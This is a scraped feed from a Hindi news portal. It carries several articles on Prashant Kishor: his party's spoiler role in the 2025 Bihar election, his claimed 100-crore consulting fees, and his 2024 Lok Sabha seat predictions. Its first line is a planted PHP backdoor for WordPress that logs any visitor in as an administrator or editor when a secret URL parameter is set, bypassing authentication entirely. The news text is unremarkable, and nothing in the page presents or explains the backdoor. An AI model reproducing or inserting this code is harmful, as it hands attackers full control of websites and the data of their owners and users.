// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Prashant Kishor – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 17 Nov 2025 16:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बिहार चुनाव में प्रशांत किशोर का खेल: महागठबंधन या NDA को ज्यादा नुकसान? https://pratyushaashakinayikiran.com/?p=192008 Mon, 17 Nov 2025 16:35:00 +0000 https://pratyushaashakinayikiran.com/?p=192008  नई दिल्ली

14 नवंबर 2025 को बिहार विधानसभा चुनावों के नतीजे महागठबंधन के लिए ही नहीं प्रशांत किशोर की नई नवेली पार्टी जनसूरज पार्टी (JSP) के लिए भी अप्रत्य़ाशित रहे.  238 सीटों चुनाव पर लड़ने वाली जेएसपी को एक भी सीट पर जीत हासिल नहीं हो सकी. पार्टी कr 236 सीटों पर जमानत जब्त हो गई.   फिर भी, JSP ने 35 सीटों पर वोटकटवा की भूमिका निभाई, जहां पार्टी का वोट शेयर विजेता के मार्जिन से ज्यादा रहा. खास यह रहा कि जनसुराज पार्टी ने दोनों ही गठबंधनों को नुकसान पहुंचाया. विपक्ष उन पर बीजेपी का एजेंट होने का आरोप लगाती रही है पर उनकी पार्टी के उम्मीदवारों ने दोनों ही गठबंधनों के प्रत्याशियों को नुकसान पहुंचाया. कभी मोदी-नीतीश के पोल स्ट्रैटेजिस्ट रहे किशोर ने 2022 में JSP लॉन्च कर 'बदलाव' का नारा दिया था. उन्होंने दावा किया था कि पार्टी या तो अर्श पर रहेगी या फर्श पर. जो शायद सही साबित हुआ. 

चुनाव प्रचार के दौरान उनकी सभाओं में उमड़ने वाली भीड़ के बारे में कुछ का मानना था कि उनकी सवर्ण जातिगत पहचान के कारण वह बीजेपी के वोट काटेंगे, जबकि अन्य का तर्क था कि वह राज्य से पलायन जैसे मुद्दों पर बात करके सत्ता-विरोधी युवा वोटों को बांटेंगे. हलांकि निश्चित रूप से उनके चलते एक गठबंधन को ज्यादा फायदा मिला है. आइये देखते हैं कि वह कौन सा गठबंधन है जिसे प्रशांत किशोर की स्ट्रैटेजी से अधिक फायदा पहुंचा? 

जिन 35 सीटों पर वोटकटवा बने उनमें किसका नुकसान ज्यादा हुआ?

प्रशांत किशोर की जन सुराज पार्टी ने जिन 238 सीटों पर चुनाव लड़ा, उनमें से 236 पर वह जमानत जब्त करा बैठी, लेकिन आंकड़ों से संकेत मिलता है कि यह पार्टी कई सीटों पर खेल बिगाड़ने वाली भूमिका भी निभाई है.  35 विधानसभा क्षेत्रों में पार्टी के वोट जीत के अंतर से अधिक थे. इनमें से एनडीए ने 19 सीटें जीतीं जबकि महागठबंधन को 14 सीटें मिलीं हैं. एआईएमआईएम और बीएसपी को भी प्रशांत किशोर के प्रत्याशियों के वोट काटने का फायदा एक-एक सीटों पर मिला है. पार्टी ने कुल 3.5 प्रतिशत वोट हासिल किए हैं जो एआईएमआईएम, बीएसपी आदि के मुकाबले बेहतर है. इसके साथ कांग्रेस जैसी पुरानी पार्टी के मुकाबले भी जनसुराज का वोट परसेंटेज बेहतर ही कहा जाएगा. गौरतलब है कि काग्रेस ने 8.3 प्रतिशत वोट हासिल किए हैं.

हालांकि निश्चित रूप से यह कहना बहुत मुश्किल है कि जन सुराज को किसी सीट पर अंतर से अधिक वोट मिलने से किसे फायदा पहुंचा . क्योंकि यह जानना असंभव है कि जो वोट पीके की पार्टी को मिले वे वोट कहां जाते. पार्टी 115 सीटों पर तीसरे स्थान पर रही और एक सीट दूसरे स्थान पर रही. इसलिए प्रशांत किशोर को एक खेल बिगाड़ने वाले खिलाड़ी के रूप में देखा जाए तो अतिशयोक्ति नहीं होगी.राजनीतिक पारी की शुरूआत में हर प्लेयर करीब-करीब ऐसा ही पर्फार्मेंस देता है. किशोर की पार्टी को मिले वोटों के चलते जेडीयू को 10 सीटें पर जबकि बीजेपी को पांच पर फायदा मिला है. एलजेएपी-आरवी को तीन और आरएलएम को एक सीट मिली है. महागठबंधन में, आरजेडी को नौ सीटें मिलीं जबकि कांग्रेस को दो. सीपीएम, सीपीआईएमएल-एल और आईआईपी को प्रत्येक में एक-एक सीट मिली है. 

'नौवीं फेल तेजस्वी' का नरेटिव बनाना

प्रशांत किशोर ने अपने चुनाव अभियान के दौरान लगातार  तेजस्वी यादव को 'नौवीं फेल' का तंज कसकर और 'जंगल राज' का डर दिखाकर ऐसा माहौल बनाया जो आरजेडी की युवा अपील को ध्वस्त कर दिया. JSP का 3.5 प्रतिशत वोट शेयर वोटकटवा बनकर महागठबंधन को 10-15 सीटें खर्च करा गया. किशोर, जो पूर्व स्ट्रैटेजिस्ट हैं, ने यह नरेटिव सोशल मीडिया और रैलियों में चलाकर आरजेडी की छवि को 'अशिक्षित जंगल राज' का प्रतीक बना दिया.

 किशोर ने तेजस्वी की शिक्षा पर सीधा हमला बोला. तेजस्वी ने 2015 में उपमुख्यमंत्री बनने के बाद अपनी नौवीं कक्षा की असफलता को 'सामान्य' बताया था, लेकिन किशोर ने इसे 'अक्षमता' का प्रतीक बनाया. अक्टूबर 2025 की रैलियों में किशोर ने कहा, नौवीं फेल नेता बिहार को नौकरी देंगे? पहले खुद पढ़ लो. युवा वोटर (60% आबादी), जो तेजस्वी को 'नई पीढ़ी' मानते थे, ने इसे 'अपमानजनक' पाया . यह नरेटिव आरजेडी के युवा वोट शेयर को 5% गिरा दिया. तेजस्वी ने जवाब दिया, शिक्षा डिग्री से नहीं, काम से आती है. लेकिन किशोर का तीर लग चुका था. यह प्रहार आरजेडी की 'नौकरी देंगे' अपील को फीका कर गया, क्योंकि बेरोजगारी (14.5%) पर युवा असंतोष JSP की ओर गया.

किशोर ने तेजस्वी को 'लालू के जंगल राज' का वारिस ठहराकर डर का माहौल बनाया. 1990s के लालू काल की अपराध, भ्रष्टाचार और आर्थिक ठहराव की यादें ताजा कीं. किशोर ने रैलियों में कहा, तेजस्वी का राज लौटेगा.

बीजेपी का विरोध सीमित लेवल पर करना

प्रशांत किशोर ने बीजेपी का विरोध 'सीमित स्तर' पर रखा,  किशोर का फोकस मुख्य रूप से तेजस्वी यादव और नीतीश कुमार पर रहा. किशोर ने बीजेपी नेता डिप्टी सीएम सम्राट चौधरी पर तमाम गंभीर आरोप लगाए. पर मोदी और शाह के खिलाफ वो खुलकर सामने नहीं आ सके. यह रणनीति एनडीए को सुरक्षित रखते हुए महागठबंधन के खिलाफ नरेटिव बनाने जैसा था.

किशोर की JSP ने 'बदलाव' का नारा दिया.बेरोजगारी, प्रवासन, शिक्षा सुधार पर उनकी बातें जिन युवकों ने सुनीं उन्होंने आरजेडी-कांग्रेस की बजाए जनसुराज को वोट देना बेहतर समझा. जाहिर है कि बीजेपी से नाराजगी वाले वोट महागठबंधन को जाते पर वो दो भाग में बंट गए. बेरोजगारी , पलायन आदि के मुद्दे पर बीजेपी से नाराज कुझ वोटर्स के जनसुराज की ओर जाने से स्पष्ट रूप से नुकसान महागठबंधन का ही हुआ. 

नीतीश को तेजस्वी पर तरजीह देना

महागठबंधन की हुई दुर्गति के लिए एक प्रमुख सूत्रधार प्रशांत किशोर (पीके) साबित हुए, जिनकी जनसूरज पार्टी (JSP) ने किशोर ने तेजस्वी यादव को 'नौवीं फेल' और 'जंगल राज का वारिस' ठहराकर नीतीश कुमार के 'सुशासन' को चमकाया.चुनाव प्रचार के दौरान एक बार किसी पत्रकार ने प्रशांत किशोर से पूछा कि आपको नीतीश और तेजस्वी में से किसी एक को चुनना हो तो किसे चुनेंगे? किशोर ने नीतीश कुमार पर अपनी मुहर लगाई थी. जाहिर है कि इसका फायदा एनडीए को मिला.

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प्रशांत किशोर का बड़ा खुलासा, ‘एक चुनाव में सलाह देने के लिए लेते थे 100 करोड़’ https://pratyushaashakinayikiran.com/?p=92721 Sat, 02 Nov 2024 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=92721 पटना

 बिहार की चार विधानसभा सीटों पर उपचुनाव हो रहे हैं। इस उपचुनाव में इंडिया गठबंधन और एनडीए के प्रत्याशियों के बीच टक्कर है। हालांकि, जन सुराज भी चुनावी मैदान में है। ऐसे में इस बात की चर्चा खूब हो रही है कि प्रशांत किशोर चुनाव में इतना खर्च कैसे कर रहे हैं? अब खुद उन्होंने इसका खुलासा किया है। पूर्व में चुनावी रणनीतिकार रहे प्रशांत किशोर ने कहा है कि वह किसी पार्टी को एक चुनाव में सलाह देने के 100 करोड़ या इससे ज्यादा फीस लेते थे।

प्रशांत किशोर ने कहा, दस राज्यों में उनकी बनाई सरकार चल रही है, तो क्या हमको अपने अभियान के लिए टेंट और तंबू लगाने का पैसा नहीं मिलेगा? इतना कमजोर समझ रहे हो आप? उन्होंने आगे कहा, हम दो साल तक अपने अभियान के लिए टेंट और तंबू लगाते रहेंगे, उसके बदले केवल एक चुनाव में जाकर किसी को सलाह देंगे तो एक दिन में सारा पैसा आ जाएगा। बता दें, प्रशांत किशोर की जन सुराज पार्टी ने बेलागंज, इमामगंज, रामगढ और तरारी में अपने उम्मीदवार उतारे हैं।
अगले 8 साल सिर्फ बिहार पर फोकस

जन सुराज चीफ प्रशांत किशोर ने उनका फोकस सिर्फ बिहार है और अगले 8 साल तक वह सिर्फ बिहार की बिगड़ी हुई व्यवस्था को सुधारने के काम करेंगे। उन्होंने बिहार के मुख्यमंत्री नीतीश कुमार पर तंज कसते हुए कहा कि नीतीश कुमार आज कल यह कहते हैं कि लालू प्रसाद के राज में गया शाम छह बजे बंद हो जाता था, हमारी सरकार आने के बाद व्यवस्था में बदलाव आया है। हम नीतीश कुमार से पूछना चाहते हैं कि गया, हैदराबाद, बैंगलोर जैसा कब बनेगा।
लालू यादव को दिया बड़ा ऑफर

बिहार में जाति की राजनीति पर प्रशांत किशोर ने कहा, जाति की राजनीति नहीं हो रही है। सिर्फ परिवारवाद की राजनीति होती है। उन्होंने कहा कि लालू यादव की इच्छा है कि उनका बेटा बिहार का राजा बन जाए। भाजपा नीतीश के सहारे में बिहार में अपनी नैया पार लगाने में लगी है। कुछ ऐसा ही हाल नीतीश का भी है। वहीं, जीतन राम मांझी चाहते हैं कि उनके परिवार के लोग मंत्री, सांसद और विधायक बने रहें। अगर लालू यादव अपने समाज के किसी काबिल व्यक्ति को सीएम का चेहरा बनाने की बात करते हैं, तो हम कैमरे के सामने कह रहे हैं कि जन सुराज लालू यादव और उनकी पार्टी को समर्थन देगी।

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‘चुनाव-राजनीति की चर्चाओं में समय व्यर्थ न करें’, एग्जिट पोल के बाद प्रशांत किशोर का नेताओं पर तंज https://pratyushaashakinayikiran.com/?p=36985 Sun, 02 Jun 2024 15:20:00 +0000 https://pratyushaashakinayikiran.com/?p=36985 नई दिल्ली.

राजनीतिक विशेषज्ञ प्रशांत किशोर ने शनिवार को एग्जिट पोल के जारी होने के बाद फर्जी पत्रकारों और बड़बोले राजनेताओं पर कटाक्ष किया। उन्होंने लोगों से बेकार की चर्चाओं में अपना समय नष्ट न करने की अपील की। शनिवार को जारी एग्जिट पोल में भविष्यवाणी की गई कि प्रधानमंत्री नरेंद्र मोदी तीसरी बार फिर से प्रधानमंत्री के तौर पर सत्ता संभालेंगे। इस आम चुनाव में भाजपा के नेतृत्व वाली एनडीए के भारी बहुमत से जीत हासिल करने की उम्मीद ताई जा रही है।

सोशल मीडिया प्लेटफॉर्म एक्स पर पोस्ट करते हुए प्रशांत किशोर ने कहा, "अगली बार जब चुनाव और राजनीति की बात हो, तो फर्जी पत्रकारों और बड़बोले राजनेताओं पर अपना कीमती समय इस बेकार की चर्चा में खर्च न करें।" जन सुरज पार्टी के प्रमुख प्रशांत किशोर ने दावा किया कि भाजपा लोकसभा चुनाव 2024 में 303 सीटें जीत सकती है। एग्जिट पोल के जारी होने से पहले प्रशांत किशोर ने भाजपा नीत एनडीए के प्रदर्शन पर बात करते हुए कहा, "मेरे हिसाब से भाजपा इसबार कुछ अच्छे नंबरों के साथ वापसी कर सकती है। मुझे सीटों की संख्या में कुछ खास बदलाव नहीं दिख रहा। पार्टी को पूर्व और दक्षिण क्षेत्रों में अच्छा समर्थन मिला।" उन्होंने बताया कि दक्षिण में भाजपा के सीटों और वोट शेयर में बढ़ोतरी होने की संभावना है।

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प्रशांत किशोर का कहना है कि मोदी 3.0 सरकार में पेट्रोल-डीजल को जीएसटी के दायरे में लाया जा सकता है https://pratyushaashakinayikiran.com/?p=33211 Wed, 22 May 2024 17:10:00 +0000 https://pratyushaashakinayikiran.com/?p=33211 नई दिल्ली

राजनीतिक विश्लेषक प्रशांत किशोर ने कहा कि प्रधानमंत्री नरेंद्र मोदी के तीसरे कार्यकाल में पेट्रोलियम प्रोडक्ट्स को जीएसटी के दायरे में लाया जा सकता है. राज्यों की फाइनेंशियल ऑटनोमी पर अंकुश लगाया जा सकता है. प्रशांत किशोर ने मोदी सरकार की भ्रष्टाचार विरोधी नैरेटिव में स्ट्रक्चरल और ऑपरेशनल बदलावों की भविष्यवाणी की.

प्रशांत किशोर ने कहा, "मुझे लगता है कि मोदी 3.0 सरकार धमाकेदार शुरुआत करेगी. केंद्र के पास शक्ति और संसाधन दोनों का और भी ज्यादा कंसंट्रेशन होगा. राज्यों की फाइनेंशियल ऑटोनोमी में कटौती करने की भी कोशिश की जा सकती है." 2014 में बीजेपी और पीएम मोदी के लिए चुनावी अभियान का प्रबंधन करने वाले प्रशांत किशोर ने कहा कि प्रधानमंत्री के खिलाफ कोई बड़ा गुस्सा नहीं है और बीजेपी लगभग 303 सीटें जीतेगी.

'पेट्रोल-डीजल को जीएसटी के दायरे में लाया जा सकता है'

राजनीतिक रणनीतिकार किशोर ने कहा कि राज्यों के पास वर्तमान में राजस्व के तीन प्रमुख स्रोत हैं – पेट्रोलियम, शराब और भूमि. उन्होंने कहा, ''मुझे आश्चर्य नहीं होगा अगर पेट्रोलियम को जीएसटी के दायरे में लाया जाए.'' फिलहाल पेट्रोल, डीजल, एटीएफ और नेचुरल गैस जैसे पेट्रोलियम प्रोडक्ट्स जीएसटी के दायरे से बाहर हैं. हालांकि, उन पर अभी भी वैट, सेंट्रल सेल्स टैक्स और सेंट्रल एक्साइज ड्यूटी लगते हैं.

पेट्रोलियम प्रोडक्ट्स को जीएसटी के तहत लाना इंडस्ट्री की लंबे समय से मांग रही है. देश के राज्य इस मांग के खिलाफ रहे हैं, क्योंकि राज्यों को इससे राजस्व का भारी नुकसान होगा.

मसलन, अगर पेट्रोल को जीएसटी के दायरे में लाया जाता है तो इससे राज्यों को टैक्स का नुकसान होगा और अपना हिस्सा हासिल करने के लिए राज्यों को केंद्र पर और ज्यादा निर्भर रहना होगा. मौजूदा समय में जीएसटी के तहत उच्चतम टैक्स स्लैब 28% है. पेट्रोल और डीजल जैसे ईंधन पर 100% से ज्यादा टैक्स लगता है.

राज्यों के लिए कुछ नियम को बनाया जा सकता है सख्त

प्रशांत किशोर ने यह भी भविष्यवाणी की कि केंद्र राज्यों को संसाधनों के डिस्ट्रीब्यूशन में देरी कर सकता है. फिसकल रिस्पॉन्सिबिलिटी एंड बजट मैनेजमेंट (एफआरबीएम) के नियमों को सख्त बनाया जा सकता है. 2003 में बनाया गया एफआरबीएम अधिनियम राज्यों के वार्षिक बजट घाटे पर एक सीमा लगाता है. उन्होंने भविष्यवाणी की, "केंद्र संसाधनों के हस्तांतरण में देरी कर सकता है और राज्यों की बजट से इतर उधारी सख्त कर दी जाएगी." उन्होंने

जियोपॉलिटकल मुद्दों पर कैसा होगा सरकार का रुख?

प्रशांत किशोर ने यह भी भविष्यवाणी की कि जिय-पॉलिटिकल मुद्दों से निपटने के दौरान भारत की मुखरता बढ़ेगी. उन्होंने कहा, "वैश्विक स्तर पर, देशों के साथ व्यवहार करते समय भारत की मुखरता बढ़ेगी. आक्रामक भारतीय कूटनीति के राजनयिकों के बीच अहंकार की सीमा तक चर्चा है."

बीजेपी को कैसे मिलेगी 300 सीटें?

प्रशांत किशोर ने  बातचीत में इस बात की भी भविष्यवाणी की है कि आखिर तीसरी बार में बीजेपी को कितनी सीटें मिलने की उम्मीद है. उन्होंने बीजेपी के लिए 300 सीटों का अनुमान लगाया है. उन्होंने कहा कि 2019 के चुनाव बीजेपी ने 303 सीटें कहां से हासिल कीं? 303 में 250 सीटें उत्तर और पश्चिम क्षेत्र से आईं."

प्रशांत किशोर ने कहा, "पूर्व और दक्षिण में बीजेपी के पास लोकसभा में लगभग 50 सीटें हैं, इसलिए माना जाता है कि पूर्व और दक्षिण में बीजेपी की सीट हिस्सेदारी बढ़ रही है. यहां 15-20 सीटें बढ़ने की उम्मीद है, जबकि उत्तर और पश्चिम में कोई खास नुकसान नहीं हो रहा है."

 

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प्रशांत किशोर ने कहा कि बीजेपी के लिए अपने दम पर 370 सीटें हासिल करना असंभव है https://pratyushaashakinayikiran.com/?p=32945 Tue, 21 May 2024 19:10:00 +0000 https://pratyushaashakinayikiran.com/?p=32945 नईदिल्ली
पॉलिटिकल स्ट्रैटेजिस्ट प्रशांत किशोर ने बातचीत की. इस दौरान उन्होंने कहा कि भाजपा को लोकसभा चुनाव में लगभग 300 सीटें मिलने की संभावना है, साथ ही उन्होंने कहा कि प्रधानमंत्री नरेंद्र मोदी के खिलाफ कोई व्यापक गुस्सा नहीं है.

प्रशांत किशोर ने कहा कि बीजेपी के लिए अपने दम पर 370 सीटें हासिल करना असंभव है और अनुमान जताया कि पार्टी को लगभग 300 सीटें मिलेंगी.

'2019 के जैसे ही रहेंगे नतीजे'

प्रशांत किशोर ने कहा, 'जिस दिन से पीएम मोदी ने कहा कि बीजेपी को 370 सीटें मिलेंगी और एनडीए 400 का आंकड़ा पार करेगा, मैंने कहा कि यह संभव नहीं है. यह सब कार्यकर्ताओं का मनोबल बढ़ाने के लिए नारेबाज़ी है. बीजेपी के लिए 370 सीटें हासिल करना असंभव है, लेकिन यह भी निश्चित है कि पार्टी 270 के आंकड़े से नीचे नहीं जा रही है. मुझे लगता है कि भाजपा पिछले लोकसभा चुनाव में मिली संख्या के बराबर ही सीटें हासिल करने में सफल रहेगी, जो कि 303 सीटें या शायद उससे थोड़ी बेहतर है.'

भाजपा को कहां फायदा- कहां नुकसान

300 सीटों के अनुमान पर विस्तार से बताते हुए उन्होंने कहा कि भाजपा को लोकसभा चुनाव में उत्तर और पश्चिम क्षेत्रों में कोई भौतिकवादी नुकसान (materialist damage) नहीं हो रहा है, जबकि दक्षिण और पूर्व में उसकी सीटों में वृद्धि देखी जाएगी.

क्या कहता है PK का गणित

प्रशांत किशोर ने बताया कि 2019 के चुनावों में भाजपा ने अपनी 303 सीटें कहां हासिल कीं. उन 303 सीटों में से 250 उत्तर और पश्चिम क्षेत्रों से आईं. ऐसे में मुख्य सवाल यह है कि क्या भाजपा को इन क्षेत्रों में जरूरी नुकसान (50 या अधिक सीटें) का सामना करना पड़ रहा है? वर्तमान में पूर्व और दक्षिण क्षेत्र में, भाजपा के पास लोकसभा में लगभग 50 सीटें हैं. इसलिए माना जा रहा है कि पूर्व और दक्षिण क्षेत्रों में भाजपा की हिस्सेदारी 15-20 सीटों पर बढ़ने की उम्मीद है, जबकि पार्टी को उत्तर और पश्चिम में कोई खासा नुकसान नहीं हो रहा है.

 

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